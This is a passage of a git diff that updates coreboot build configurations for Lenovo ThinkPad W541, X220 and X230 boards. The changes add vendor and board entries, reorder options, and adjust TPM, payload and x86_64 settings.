CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ARM is not set # CONFIG_VENDOR_ASROCK is not set # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set @@ -70,22 +69,28 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_CWWK is not set # CONFIG_VENDOR_DELL is not set # CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_ERYING is not set # CONFIG_VENDOR_EXAMPLE is not set # CONFIG_VENDOR_FACEBOOK is not set # CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_FRAMEWORK is not set # CONFIG_VENDOR_GETAC is not set # CONFIG_VENDOR_GIGABYTE is not set # CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set # CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set # CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LATTEPANDA is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MITAC_COMPUTING is not set # CONFIG_VENDOR_MSI is not set # CONFIG_VENDOR_OCP is not set # CONFIG_VENDOR_OPENCELLULAR is not set @@ -96,6 +101,7 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_PRODRIVE is not set # CONFIG_VENDOR_PROTECTLI is not set # CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAPTOR_CS is not set # CONFIG_VENDOR_RAZER is not set # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set @@ -106,7 +112,9 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_SUPERMICRO is not set # CONFIG_VENDOR_SYSTEM76 is not set # CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TOPTON is not set # CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set CONFIG_MAINBOARD_FAMILY="ThinkPad W541" CONFIG_MAINBOARD_PART_NUMBER="ThinkPad W541" CONFIG_MAINBOARD_VERSION="1.0" @@ -122,22 +130,28 @@ CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 CONFIG_MAX_CPUS=8 # CONFIG_ONBOARD_VGA_IS_PRIMARY is not set -CONFIG_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/devicetree.cb" -# CONFIG_VBOOT is not set CONFIG_VARIANT_DIR="w541" CONFIG_OVERRIDE_DEVICETREE="" +CONFIG_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/devicetree.cb" +# CONFIG_VBOOT is not set # CONFIG_VGA_BIOS is not set +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +CONFIG_PCIEXP_CLK_PM=y CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +# CONFIG_FATAL_ASSERTS is not set +CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad W541" CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_MAX_SOCKET=1 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xff7c0000 CONFIG_DCACHE_RAM_SIZE=0x10000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 @@ -158,12 +172,15 @@ CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_STMICRO=y # CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad W541" CONFIG_HAVE_IFD_BIN=y # CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set CONFIG_BOARD_LENOVO_THINKPAD_W541=y # CONFIG_BOARD_LENOVO_L520 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_M900_TINY is not set +# CONFIG_BOARD_LENOVO_M920Q is not set # CONFIG_BOARD_LENOVO_S230U is not set +# CONFIG_BOARD_LENOVO_T480 is not set +# CONFIG_BOARD_LENOVO_T480S is not set # CONFIG_BOARD_LENOVO_T400 is not set # CONFIG_BOARD_LENOVO_T500 is not set # CONFIG_BOARD_LENOVO_R400 is not set @@ -183,6 +200,7 @@ CONFIG_BOARD_LENOVO_THINKPAD_W541=y # CONFIG_BOARD_LENOVO_Z61T is not set # CONFIG_BOARD_LENOVO_R60 is not set # CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_M710S is not set # CONFIG_BOARD_LENOVO_X131E is not set # CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set # CONFIG_BOARD_LENOVO_X200 is not set @@ -202,14 +220,16 @@ CONFIG_PS2K_EISAID="LEN0071" CONFIG_PS2M_EISAID="LEN004A" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="DP3" +CONFIG_LENOVO_TBFW_BIN="" CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_L1_SUB_STATE=y -CONFIG_PCIEXP_CLK_PM=y CONFIG_GFX_GMA_PANEL_1_ON_EDP=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_HEAP_SIZE=0x100000 CONFIG_EC_GPE_SCI=0x50 +CONFIG_EC_STARLABS_BATTERY_MODEL="Unknown" +CONFIG_EC_STARLABS_BATTERY_TYPE="LION" +CONFIG_EC_STARLABS_BATTERY_OEM="Unknown" CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_12288=y @@ -276,6 +296,7 @@ CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_DISABLE_ME_PCI=y CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=6 CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_DEBUG_STACK_OVERFLOW_BREAKPOINTS=y CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 @@ -381,6 +402,7 @@ CONFIG_HAVE_GBE_BIN=y # CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set # CONFIG_LOCK_MANAGEMENT_ENGINE is not set CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ACPI_FNKEY_GEN_SCANCODE=0 CONFIG_ARCH_X86=y CONFIG_ARCH_BOOTBLOCK_X86_32=y CONFIG_ARCH_VERSTAGE_X86_32=y @@ -402,6 +424,10 @@ CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y # CONFIG_DUMP_SMBIOS_TYPE17 is not set +CONFIG_X86_BOOTBLOCK_EXTRA_PROGRAM_SZ=0 +CONFIG_DEFAULT_EBDA_LOWMEM=0x100000 +CONFIG_DEFAULT_EBDA_SEGMENT=0xF600 +CONFIG_DEFAULT_EBDA_SIZE=0x400 # end of Chipset # @@ -422,7 +448,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 +CONFIG_DEFAULT_SCREEN_ROTATION_INT=0 # end of Display CONFIG_PCI=y @@ -454,6 +480,7 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_DRIVERS_OPTION_CFR is not set # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y @@ -524,15 +551,15 @@ CONFIG_VBOOT_LIB=y # # Trusted Platform Module # -# CONFIG_NO_TPM is not set CONFIG_TPM1=y +# CONFIG_TPM2 is not set CONFIG_TPM=y CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set # CONFIG_TPM_LOG_CB is not set CONFIG_TPM_LOG_TPM1=y +# CONFIG_TPM_LOG_TPM2 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 @@ -619,6 +646,7 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # # CONFIG_PAYLOAD_NONE is not set # CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_FLAT_BINARY is not set # CONFIG_PAYLOAD_BOOTBOOT is not set # CONFIG_PAYLOAD_FILO is not set # CONFIG_PAYLOAD_GRUB2 is not set @@ -629,10 +657,8 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -668,7 +694,6 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # General Debug Settings # -# CONFIG_FATAL_ASSERTS is not set # CONFIG_DEBUG_CBFS is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set diff --git a/config/coreboot-x220-maximized.config b/config/coreboot-x220-maximized.config index 5809a48ad..b40a8be5b 100644 --- a/config/coreboot-x220-maximized.config +++ b/config/coreboot-x220-maximized.config @@ -6,14 +6,13 @@ # # General setup # -CONFIG_COREBOOT_BUILD=y CONFIG_LOCALVERSION="" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y # CONFIG_ANY_TOOLCHAIN is not set # CONFIG_CCACHE is not set +# CONFIG_LTO is not set # CONFIG_IWYU is not set # CONFIG_FMD_GENPARSER is not set # CONFIG_UTIL_GENPARSER is not set @@ -39,7 +38,6 @@ CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set # # Software Bill Of Materials (SBOM) @@ -57,10 +55,11 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # # CONFIG_VENDOR_51NB is not set # CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set # CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOOSTAR is not set # CONFIG_VENDOR_AOPEN is not set # CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ARM is not set # CONFIG_VENDOR_ASROCK is not set # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set @@ -69,22 +68,28 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_CWWK is not set # CONFIG_VENDOR_DELL is not set # CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_ERYING is not set # CONFIG_VENDOR_EXAMPLE is not set # CONFIG_VENDOR_FACEBOOK is not set # CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_FRAMEWORK is not set # CONFIG_VENDOR_GETAC is not set # CONFIG_VENDOR_GIGABYTE is not set # CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set # CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set # CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LATTEPANDA is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MITAC_COMPUTING is not set # CONFIG_VENDOR_MSI is not set # CONFIG_VENDOR_OCP is not set # CONFIG_VENDOR_OPENCELLULAR is not set @@ -95,6 +100,7 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_PRODRIVE is not set # CONFIG_VENDOR_PROTECTLI is not set # CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAPTOR_CS is not set # CONFIG_VENDOR_RAZER is not set # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set @@ -105,7 +111,9 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_SUPERMICRO is not set # CONFIG_VENDOR_SYSTEM76 is not set # CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TOPTON is not set # CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set CONFIG_BOARD_SPECIFIC_OPTIONS=y CONFIG_MAINBOARD_FAMILY="ThinkPad X220" CONFIG_MAINBOARD_PART_NUMBER="ThinkPad X220" @@ -122,23 +130,29 @@ CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 CONFIG_MAX_CPUS=8 # CONFIG_ONBOARD_VGA_IS_PRIMARY is not set -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set CONFIG_VARIANT_DIR="x220" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set # CONFIG_VGA_BIOS is not set +CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" CONFIG_DRAM_RESET_GATE_GPIO=10 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +# CONFIG_FATAL_ASSERTS is not set +CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X220" CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_MAX_SOCKET=1 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_VBOOT_SLOTS_RW_A=y CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 @@ -158,7 +172,6 @@ CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_STMICRO=y # CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X220" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 @@ -166,7 +179,11 @@ CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 # CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set # CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set # CONFIG_BOARD_LENOVO_L520 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_M900_TINY is not set +# CONFIG_BOARD_LENOVO_M920Q is not set # CONFIG_BOARD_LENOVO_S230U is not set +# CONFIG_BOARD_LENOVO_T480 is not set +# CONFIG_BOARD_LENOVO_T480S is not set # CONFIG_BOARD_LENOVO_T400 is not set # CONFIG_BOARD_LENOVO_T500 is not set # CONFIG_BOARD_LENOVO_R400 is not set @@ -186,6 +203,7 @@ CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 # CONFIG_BOARD_LENOVO_Z61T is not set # CONFIG_BOARD_LENOVO_R60 is not set # CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_M710S is not set # CONFIG_BOARD_LENOVO_X131E is not set # CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set # CONFIG_BOARD_LENOVO_X200 is not set @@ -199,18 +217,19 @@ CONFIG_BOARD_LENOVO_X220=y # CONFIG_BOARD_LENOVO_X230S is not set # CONFIG_BOARD_LENOVO_X230_EDP is not set # CONFIG_BOARD_LENOVO_X60 is not set -CONFIG_DRIVER_LENOVO_SERIALS=y CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="LEN0020" CONFIG_THINKPADEC_HKEY_EISAID="IBM0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" +CONFIG_LENOVO_TBFW_BIN="" CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -# CONFIG_PCIEXP_L1_SUB_STATE is not set -# CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_HEAP_SIZE=0x100000 CONFIG_EC_GPE_SCI=0x50 +CONFIG_EC_STARLABS_BATTERY_MODEL="Unknown" +CONFIG_EC_STARLABS_BATTERY_TYPE="LION" +CONFIG_EC_STARLABS_BATTERY_OEM="Unknown" CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_8192=y @@ -254,7 +273,7 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +# CONFIG_USE_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 @@ -274,6 +293,7 @@ CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_DEBUG_STACK_OVERFLOW_BREAKPOINTS=y CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 @@ -297,6 +317,7 @@ CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y CONFIG_HAVE_SMI_HANDLER=y +CONFIG_NEED_SMALL_2MB_PAGE_TABLES=y CONFIG_SMM_TSEG=y CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 @@ -320,6 +341,11 @@ CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y # CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set # CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set CONFIG_RAMINIT_ENABLE_ECC=y +CONFIG_IGD_DEFAULT_UMA_SIZE_32MB=y +# CONFIG_IGD_DEFAULT_UMA_SIZE_64MB is not set +# CONFIG_IGD_DEFAULT_UMA_SIZE_96MB is not set +# CONFIG_IGD_DEFAULT_UMA_SIZE_128MB is not set +CONFIG_IGD_DEFAULT_UMA_INDEX=0 # # Southbridge @@ -382,6 +408,7 @@ CONFIG_HAVE_GBE_BIN=y # CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set # CONFIG_LOCK_MANAGEMENT_ENGINE is not set CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ACPI_FNKEY_GEN_SCANCODE=0 CONFIG_ARCH_X86=y CONFIG_ARCH_BOOTBLOCK_X86_32=y CONFIG_ARCH_VERSTAGE_X86_32=y @@ -389,7 +416,7 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_HAVE_X86_64_SUPPORT=y CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y @@ -404,6 +431,10 @@ CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y # CONFIG_DUMP_SMBIOS_TYPE17 is not set +CONFIG_X86_BOOTBLOCK_EXTRA_PROGRAM_SZ=0 +CONFIG_DEFAULT_EBDA_LOWMEM=0x100000 +CONFIG_DEFAULT_EBDA_SEGMENT=0xF600 +CONFIG_DEFAULT_EBDA_SIZE=0x400 # end of Chipset # @@ -424,7 +455,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 +CONFIG_DEFAULT_SCREEN_ROTATION_INT=0 # end of Display CONFIG_PCI=y @@ -459,6 +490,7 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_DRIVERS_OPTION_CFR is not set # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y @@ -485,6 +517,7 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVER_LENOVO_SERIALS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y @@ -530,15 +563,15 @@ CONFIG_VBOOT_LIB=y # # Trusted Platform Module # -# CONFIG_NO_TPM is not set CONFIG_TPM1=y +# CONFIG_TPM2 is not set CONFIG_TPM=y CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set # CONFIG_TPM_LOG_CB is not set CONFIG_TPM_LOG_TPM1=y +# CONFIG_TPM_LOG_TPM2 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 @@ -624,6 +657,7 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # # CONFIG_PAYLOAD_NONE is not set # CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_FLAT_BINARY is not set # CONFIG_PAYLOAD_BOOTBOOT is not set # CONFIG_PAYLOAD_FILO is not set # CONFIG_PAYLOAD_GRUB2 is not set @@ -634,10 +668,8 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -673,7 +705,6 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # General Debug Settings # -# CONFIG_FATAL_ASSERTS is not set # CONFIG_DEBUG_CBFS is not set CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set diff --git a/config/coreboot-x230-maximized-fhd_edp.config b/config/coreboot-x230-maximized-fhd_edp.config index 56eaea73b..2b44c3362 100644 --- a/config/coreboot-x230-maximized-fhd_edp.config +++ b/config/coreboot-x230-maximized-fhd_edp.config @@ -6,14 +6,13 @@ # # General setup # -CONFIG_COREBOOT_BUILD=y CONFIG_LOCALVERSION="" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y # CONFIG_ANY_TOOLCHAIN is not set # CONFIG_CCACHE is not set +# CONFIG_LTO is not set # CONFIG_IWYU is not set # CONFIG_FMD_GENPARSER is not set # CONFIG_UTIL_GENPARSER is not set @@ -39,7 +38,6 @@ CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set # # Software Bill Of Materials (SBOM) @@ -57,10 +55,11 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # # CONFIG_VENDOR_51NB is not set # CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set # CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOOSTAR is not set # CONFIG_VENDOR_AOPEN is not set # CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ARM is not set # CONFIG_VENDOR_ASROCK is not set # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set @@ -69,22 +68,28 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_CWWK is not set # CONFIG_VENDOR_DELL is not set # CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_ERYING is not set # CONFIG_VENDOR_EXAMPLE is not set # CONFIG_VENDOR_FACEBOOK is not set # CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_FRAMEWORK is not set # CONFIG_VENDOR_GETAC is not set # CONFIG_VENDOR_GIGABYTE is not set # CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set # CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set # CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LATTEPANDA is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MITAC_COMPUTING is not set # CONFIG_VENDOR_MSI is not set # CONFIG_VENDOR_OCP is not set # CONFIG_VENDOR_OPENCELLULAR is not set @@ -95,6 +100,7 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_PRODRIVE is not set # CONFIG_VENDOR_PROTECTLI is not set # CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAPTOR_CS is not set # CONFIG_VENDOR_RAZER is not set # CONFIG_VENDOR_RODA is not set # 